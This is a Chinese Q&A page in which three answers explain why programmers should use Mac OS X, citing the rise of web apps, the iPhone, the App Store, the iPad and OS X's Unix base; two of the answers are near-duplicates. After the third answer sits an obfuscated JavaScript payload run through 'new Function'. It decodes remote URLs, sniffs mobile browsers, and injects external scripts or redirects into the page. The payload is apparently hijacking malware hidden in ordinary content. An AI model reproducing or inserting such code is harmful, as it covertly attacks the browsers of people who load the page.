为什么我认为每个程序员都应该用Mac OS X

2025-03-05 06:35:57
推荐回答(3个)
回答(1):

原因如下:
1、操作系统的竞争到了一个新的阶段
Windows虽然仍旧是实质上的老大,但是操作系统的战争早已不是10年前的样子。随着Web应用的大行其道,很多人的电脑,都已经成了名符其实的上网本或者上网机。
Window/Mac OS X/Linux/Unix几大主流平台上都有了流行的Web浏览器,只要不是一个执着的IE粉丝,那么如果你的主要任务是Web浏览,现在几大操作系统的体验已经非常接近了。其他的基于互联网的流行软件,一般也都有比较好的跨平台支持。例如,聊天工具,Gtalk全平台覆盖,Msn全平台覆盖,现在甚至连一向被人看作很封闭的QQ,实际上也有Linux版本(虽然口碑很大,但是还有lumaQQ这样的替代产品),Mac版本(口碑不错),iPhone版本了(最近刚更新过,很不错)。
我们甚至看到了上网本这一硬件类别的产生。互联网成了计算机的中心,这很大程度上降低了微软的垄断优势。
3-4年前,切换到Mac OS X的时候,除了招商银行等少数应用以外,没有觉得任何的痛苦。那时候,主要开发服务器端程序,程序的运行环境是Linux,在Mac OS X这个Unix上面开发,其实很方便。
程序员可以在不同平台切换并不重要,重要的是,我们这些程序员的衣食父母已经可以自由的在各种平台上切换了。这就给了我们去尝试Windows以外平台的可能性。
很多人在比较Windows和Mac OS X的时候,有一个误区。因为他们自己是长期的Windows用户,对很多Mac OS X的细节很不喜欢(右键、按钮位置等等)。但是作为一个开发者,要注意的是用户。希望你们设想一个场景,一个从来没有用过电脑的人,他们学习Windows和Mac OS X,他们会更喜欢什么。想更多人会喜欢Mac OS X,如果设想是对的,那么未来是属于Mac OS X的。
2、iPhone以及未来的iPad
iPhone是近10年来,看到的最革命性的硬件产品。虽然他的功能,除了多点触摸、加速度传感器以外,大多数我们都在Nokia和其他竞争者的产品中见到过。用过Nokia2002年的产品7650,iPhone的所有功能它几乎都有(没有wifi,但是有gprs),但是用起来跟iPhone就是不一样。
那么区别在哪里呢?05年我买iPod Nano的时候,看到盒子的时候,吃了一惊,因为盒子最显眼的地方写的不是“容量:4G”,而是“可以容纳1000首歌,xxx张照片”。这家卖水果的公司突然明白,用户其实关心的是那个叫mp3的东西可以容纳多少歌,而不是从比特的角度,从存储的角度他的容量是多少G。多少G多少M的容量,是实现“容纳多少多少歌”这个目的的一种手段。我们总是太过care手段,忘了我们的目的是什么。
做产品的时候,很多人也是这样。如果你是第一次看电视购物卖手机,也许你就会想把手里面的iPhone扔掉,去买那些垃圾。因为你听介绍的时候,你会觉得全世界最好的手机就在那电视里,叫做“XX全能王”。从功能列表来看,它们简直是世界上最好的产品,但是如果你真的拿到手,你也许会发现那东西3分钟死机,也许什么操作都很慢,也许摔了一下就坏了。那个时候,我估计你会领悟到,功能多当然好。但是功能列表不会包括“不会3分钟死机”,“操作不会很慢”,“摔一下不会坏”。手机,或者任何产品对你最重要的不是功能多,而是好用。
iPhone让我发现原来手机上也可以有这么好用的浏览器。这是个纯技术问题么?不是,要知道Nokia很多手机用的浏览器内核和iPhone毫无二致,都是Webkit。但是操作起来看看,大家知道iPhone出来没有多久,所有网站手机流量最大的就是iPhone了,这不是靠运气啊。我有个Nokia E61i欧版手机,可以用wifi,但是用它的浏览器,实在是不方便,每次都要重新选择wifi,打开网站也很慢,打开了以后,放大缩小也很不方便。
好的体验仅是其一。更重要的是水果公司在iPhone这个产品上开发了AppStore,这是近10年来,我认为在软件行业最重要的一个东西。1976年2月3日比尔盖茨发表了著名的《An Open Letter to hobbyists》(给爱好者们的一封信),事实上开启了商业软件的道路。然而,商业软件从诞生起,就受到盗版的诅咒。从全球看,表面上微软是盗版的最大受害者。没错,从金额上看,是这样的。但是实际上所有的第三方开发者,才是盗版的最大受害者,他们中的很多人因为盗版而丧失了成长为微软这样企业的机会。
AppStore不能完全杜绝盗版,但是它从发行和支付渠道出发(跟iTune Store如出一辙),很大程度降低了盗版对第三方开发者成长带来的风险。很多单枪匹马的第三方开发者,凭借做iPhone软件发家(当然一个市场是有容量的,你不能指望它超越自己的机极限)。很多开发Mac软件多年的人,没因为开发Mac软件发家,但是因为移植了一个简单版本到iPhone发了家。据说,因为开发iPhone只能用Mac OS X,这成了近两年对Mac电脑销售最大的拉动。很多人为了开发iPhone程序而购买Mac电脑。
就在这时iPad来了。价格在2000-3000之间的上网本,应该是最近和未来,电脑市场一个很重要的增长点。这个价位可以吸引很多买不起电脑(可能更多是不舍得买电脑)的人。另外,关注上网这个概念简化操作,也可以让很多觉得电脑太难用的人们,来购买电脑。可惜,基于Windows的上网本在用户体验上实在是乏善可陈,往往仅仅是一个屏幕更小的Windows而已。
Windows在PC上面的优势本来有机会拓展到其他平台。在WinCE和Palm,微软实际上获胜了。但是之后就固步自封了,现在iPhone出来了,WinCE实际上已经没有什么大机会了。上网本和触摸设备,本来也是Windows有巨大优势的,但是微软实在缺乏在用户体验方面的努力(你去看看各种基于Windows的触摸查询设备吧,居然需要点一下然后鼠标光标蹦过来,然后才能点!!!!!!!)。
iPad的发布会,并不让人多么惊喜。这是因为iPad和iPhone战略在水果公司是紧密结合的,iPad包含了iPhone的所有革命性,然后把尺寸放大。发布会开到结尾,说到电池时间和价格的时候,我才开始兴奋。
iPad意味着什么?意味着一台便宜的上网本;有电脑的用户也不介意购买一个,买不起或者不舍得买电脑的人可能会买;因为便宜,所以医院和餐馆等可能会购买作为内部管理系统(医院信息系统,点餐系统);学校可以买做教育用途(电子书包)。意味着,我们可以在电脑上面写文档累了的时候,躺在床上抱着它听歌,看看书,玩个游戏。
这个产品如果操作的好的话,可以造就一个比iPhone更大更好的软件市场。
3、Mac OS X是Unix
对于大多数做服务器端开发的开发者,服务器端开发也许就意味着Linux下的C/C++和Java。Mac OS X是真正的Unix(符合标准,有授权,合法的可以用Unix商标)。大多数这类开发,你可以在Mac OS X下做,在Linux下执行。少数涉及到Linux和BSD内核不同的应用,稍微麻烦一点。但是如果你做到这个级别的话,我想你也不在乎了。
大多数基于Linux的开源软件,大多数为Unix架构设计的程序,都可以在Mac OS X下正常工作。虽然有很多软件编译起来,会遇到很多稀奇古怪的问题,但是放心,你在不同的Linux版本间编译的时候遇到的会更多。虽然Mac OS X下面的自动软件安装工具也会有各种各样的问题,但是放心,Linux下的也是。
Unix文化最经典的管道和脚本,Mac OS X也支持的很好。
Mac OS X是一个非常好的平衡,Unix式的命令行、脚本能力它全部具备,而且带有一个非常好用高效的GUI。所以不管你是CLI(命令行界面)控,还是GUI控,你都应该可以玩的很好。
有人问我Mac OS X是不是一个很好的学习Linux的途径。我不得不说,你要是真的玩转了Mac OS X(CLI+GUI)的话,你真的无需去学习Linux,用就是了。尤其是,学习Linux是为了学习服务器管理的人们,真玩转了Mac OS X,Linux有什么区别?
4、开拓你的视野
一段时间以来,我研究自己发展的过程中的瓶颈的时候,发现一切瓶颈都不来自能力,都来自视野,来自于给自己设置的愚蠢的极限。这么说,是因为我发现,我想做一辈子的程序员,而我也乐意学习新的知识,我也确实擅长不停的学习新的知识。
只是每经一个阶段,一旦我发现自己长期没有什么进步的时候,就会发现原因就是我已经不知道前面的路在哪里了。在.net出现之前,我已经是一个微软几乎所有产品的专家(但我不是MVP),我可以不借助ATL自己写Com组件,我写过IE和Outlook插件,等等。但是到了.net时代,我的心疲惫了,我决心不再跟随微软的脚步。
这两年,尤其是09年,做了一些iPhone开发,Cocoa开发(Tiny4Reader),做了些服务器端开发(GinkgoTek.com),我又开始像刚开始接触电脑那样的激情澎湃了。
对大多数纯Windows程序员,Mac OS X的GUI和基于Unix的CLI都是新的天地,哪怕你不真的从事这两方面的开发。在这些领域看到的东西对你的开发都是有利的。
腾讯是一个大家印象中很不注重用户体验的公司(老程序员视角)吧?但是现在QQ已经有了Mac版,iPhone版,而且iPhone版本已经多次打磨,已经是一个相当好用的iPhone应用了。年前我去了趟深圳,见了他们的iPhone开发team,他们很重视用户体验,也做了很多的尝试。而腾讯更多其他平台开发的工程师,也开始更加关注用户体验了。
对绝大多数Windows程序员,关注用户体验的经验和意识都不足,使用Mac OS X有利于提高这些方面的素养。

回答(2):

1、操作系统的竞争到了一个新的阶段

Windows虽然仍旧是实质上的老大,但是操作系统的战争早已不是10年前的样子。随着Web应用的大行其道,很多人的电脑,都已经成了名符其实的上网本或者上网机。

Window/Mac OS
X/Linux/Unix几大主流平台上都有了流行的Web浏览器,只要你不是一个执着的IE粉丝,那么如果你的主要任务是Web浏览,现在几大操作系统
的体验已经非常接近了。其他的基于互联网的流行软件,一般也都有比较好的跨平台支持。例如,聊天工具,Gtalk全平台覆盖,Msn全平台覆盖,现在甚至
连一向被人看作很封闭的QQ,实际上也有Linux版本(虽然口碑很大,但是还有lumaQQ这样的替代产品),Mac版本(口碑不错),iPhone版
本了(最近刚更新过,很不错)。

我们甚至看到了上网本这一硬件类别的产生。互联网成了计算机的中心,这很大程度上降低了微软的垄断优势。

3-4年前,我切换到Mac OS X的时候,除了招商银行等少数应用以外,我没有觉得任何的痛苦。那时候,我主要开发服务器端程序,程序的运行环境是Linux,在Mac OS X这个Unix上面开发,其实很方便。

程序员可以在不同平台切换并不重要,重要的是,我们这些程序员的衣食父母已经可以自由的在各种平台上切换了。这就给了我们去尝试Windows以外平台的可能性。

很多人在比较Windows和Mac OS X的时候,有一个误区。因为他们自己是长期的Windows用户,对很多Mac OS
X的细节很不喜欢(右键、按钮位置等等)。但是作为一个开发者,你要注意的是用户。我希望你们设想一个场景,一个从来没有用过电脑的人,他们学习
Windows和Mac OS X,他们会更喜欢什么。我想更多人会喜欢Mac OS X,如果我的设想是对的,那么未来是属于Mac OS X的。

2、iPhone以及未来的iPad

iPhone是近10年来,我看到的最革命性的硬件产品。虽然他的功能,除了多点触摸、加速度传感器以外,大多数我们都在Nokia和其他竞争者的
产品中见到过。我用过Nokia2002年的产品7650,iPhone的所有功能它几乎都有(没有wifi,但是有gprs),但是用起来跟
iPhone就是不一样。

那么区别在哪里呢?05年我买iPod
Nano的时候,看到盒子的时候,我吃了一惊,因为盒子最显眼的地方写的不是“容量:4G”,而是“可以容纳1000首歌,xxx张照片”。这家卖水果的
公司突然让我明白,用户其实关心的是那个叫mp3的东西可以容纳多少歌,而不是从比特的角度,从存储的角度他的容量是多少G。多少G多少M的容量,是实现
“容纳多少多少歌”这个目的的一种手段。我们总是太过care手段,忘了我们的目的是什么。

做产品的时候,很多人也是这样。如果你是第一次看电视购物卖手机,也许你就会想把手里面的iPhone扔掉,去买那些垃圾。因为你听介绍的时候,你
会觉得全世界最好的手机就在那电视里,叫做“XX全能王”。从功能列表来看,它们简直是世界上最好的产品,但是如果你真的拿到手,你也许会发现那东西3分
钟死机,也许什么操作都很慢,也许摔了一下就坏了。那个时候,我估计你会领悟到,功能多当然好。但是功能列表不会包括“不会3分钟死机”,“操作不会很
慢”,“摔一下不会坏”。手机,或者任何产品对你最重要的不是功能多,而是好用。

iPhone让我发现原来手机上也可以有这么好用的浏览器。这是个纯技术问题么?不是,要知道Nokia很多手机用的浏览器内核和iPhone毫无
二致,都是Webkit。但是操作起来看看,大家知道iPhone出来没有多久,所有网站手机流量最大的就是iPhone了,这不是靠运气啊。我有个
Nokia
E61i欧版手机,可以用wifi,但是用它的浏览器,实在是不方便,每次都要重新选择wifi,打开网站也很慢,打开了以后,放大缩小也很不方便。

好的体验仅是其一。更重要的是水果公司在iPhone这个产品上开发了AppStore,这是近10年来,我认为在软件行业最重要的一个东西。1976年2月3日比尔盖茨发表了著名的《An Open Letter to hobbyists》(给爱好者们的一封信),事实上开启了商业软件的道路。然而,商业软件从诞生起,就受到盗版的诅咒。从全球看,表面上微软是盗版的最大受害者。没错,从金额上看,是这样的。但是实际上所有的第三方开发者,才是盗版的最大受害者,他们中的很多人因为盗版而丧失了成长为微软这样企业的机会。

AppStore不能完全杜绝盗版,但是它从发行和支付渠道出发(跟iTune
Store如出一辙),很大程度降低了盗版对第三方开发者成长带来的风险。很多单枪匹马的第三方开发者,凭借做iPhone软件发家(当然一个市场是有容
量的,你不能指望它超越自己的机极限)。很多开发Mac软件多年的人,没因为开发Mac软件发家,但是因为移植了一个简单版本到iPhone发了家。据
说,因为开发iPhone只能用Mac OS X,这成了近两年对Mac电脑销售最大的拉动。很多人为了开发iPhone程序而购买Mac电脑。

就在这时iPad来了。价格在2000-3000之间的上网本,应该是最近和未来,电脑市场一个很重要的增长点。这个价位可以吸引很多买不起电脑
(可能更多是不舍得买电脑)的人。另外,关注上网这个概念简化操作,也可以让很多觉得电脑太难用的人们,来购买电脑。可惜,基于Windows的上网本在
用户体验上实在是乏善可陈,往往仅仅是一个屏幕更小的Windows而已。

Windows在PC上面的优势本来有机会拓展到其他平台。在WinCE和Palm,微软实际上获胜了。但是之后就固步自封了,现在iPhone出
来了,WinCE实际上已经没有什么大机会了。上网本和触摸设备,本来也是Windows有巨大优势的,但是微软实在缺乏在用户体验方面的努力(你去看看
各种基于Windows的触摸查询设备吧,居然需要点一下然后鼠标光标蹦过来,然后才能点!!!!!!!)。

iPad的发布会,并不让人多么惊喜。这是因为iPad和iPhone战略在水果公司是紧密结合的,iPad包含了iPhone的所有革命性,然后把尺寸放大。发布会开到结尾,说到电池时间和价格的时候,我才开始兴奋。

iPad意味着什么?意味着一台便宜的上网本;有电脑的用户也不介意购买一个,买不起或者不舍得买电脑的人可能会买;因为便宜,所以医院和餐馆等可
能会购买作为内部管理系统(医院信息系统,点餐系统);学校可以买做教育用途(电子书包)。意味着,我们可以在电脑上面写文档累了的时候,躺在床上抱着它
听歌,看看书,玩个游戏。

这个产品如果操作的好的话,可以造就一个比iPhone更大更好的软件市场。

3、Mac OS X是Unix

对于大多数做服务器端开发的开发者,服务器端开发也许就意味着Linux下的C/C++和Java。Mac OS
X是真正的Unix(符合标准,有授权,合法的可以用Unix商标)。大多数这类开发,你可以在Mac OS
X下做,在Linux下执行。少数涉及到Linux和BSD内核不同的应用,稍微麻烦一点。但是如果你做到这个级别的话,我想你也不在乎了。

大多数基于Linux的开源软件,大多数为Unix架构设计的程序,都可以在Mac OS
X下正常工作。虽然有很多软件编译起来,会遇到很多稀奇古怪的问题,但是放心,你在不同的Linux版本间编译的时候遇到的会更多。虽然Mac OS
X下面的自动软件安装工具也会有各种各样的问题,但是放心,Linux下的也是。

Unix文化最经典的管道和脚本,Mac OS X也支持的很好。

Mac OS X是一个非常好的平衡,Unix式的命令行、脚本能力它全部具备,而且带有一个非常好用高效的GUI。所以不管你是CLI(命令行界面)控,还是GUI控,你都应该可以玩的很好。

有人问我Mac OS X是不是一个很好的学习Linux的途径。我不得不说,你要是真的玩转了Mac OS
X(CLI+GUI)的话,你真的无需去学习Linux,用就是了。尤其是,学习Linux是为了学习服务器管理的人们,真玩转了Mac OS
X,Linux有什么区别?

4、开拓你的视野

一段时间以来,我研究自己发展的过程中的瓶颈的时候,发现一切瓶颈都不来自能力,都来自视野,来自于给自己设置的愚蠢的极限。这么说,是因为我发现,我想做一辈子的程序员,而我也乐意学习新的知识,我也确实擅长不停的学习新的知识。

只是每经一个阶段,一旦我发现自己长期没有什么进步的时候,就会发现原因就是我已经不知道前面的路在哪里了。在.net出现之前,我已经是一个微软几乎所有产品的专家(但我不是MVP),我可以不借助ATL自己写Com组件,我写过IE和Outlook插件,等等。但是到了.net时代,我的心疲惫了,我决心不再跟随微软的脚步。

这两年,尤其是09年,做了一些iPhone开发,Cocoa开发(Tiny4Reader),做了些服务器端开发(GinkgoTek.com),我又开始像刚开始接触电脑那样的激情澎湃了。

对大多数纯Windows程序员,Mac OS X的GUI和基于Unix的CLI都是新的天地,哪怕你不真的从事这两方面的开发。在这些领域看到的东西对你的开发都是有利的。

腾讯是一个大家印象中很不注重用户体验的公司(老程序员视角)吧?但是现在QQ已经有了Mac版,iPhone版,而且iPhone版本已经多次打
磨,已经是一个相当好用的iPhone应用了。年前我去了趟深圳,见了他们的iPhone开发team,他们很重视用户体验,也做了很多的尝试。而腾讯更
多其他平台开发的工程师,也开始更加关注用户体验了。

对绝大多数Windows程序员,关注用户体验的经验和意识都不足,使用Mac OS X有利于提高这些方面的素养。

回答(3):

我觉得吧,作为程序员,不能迷信mac.//除非是要给mac码代码的

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();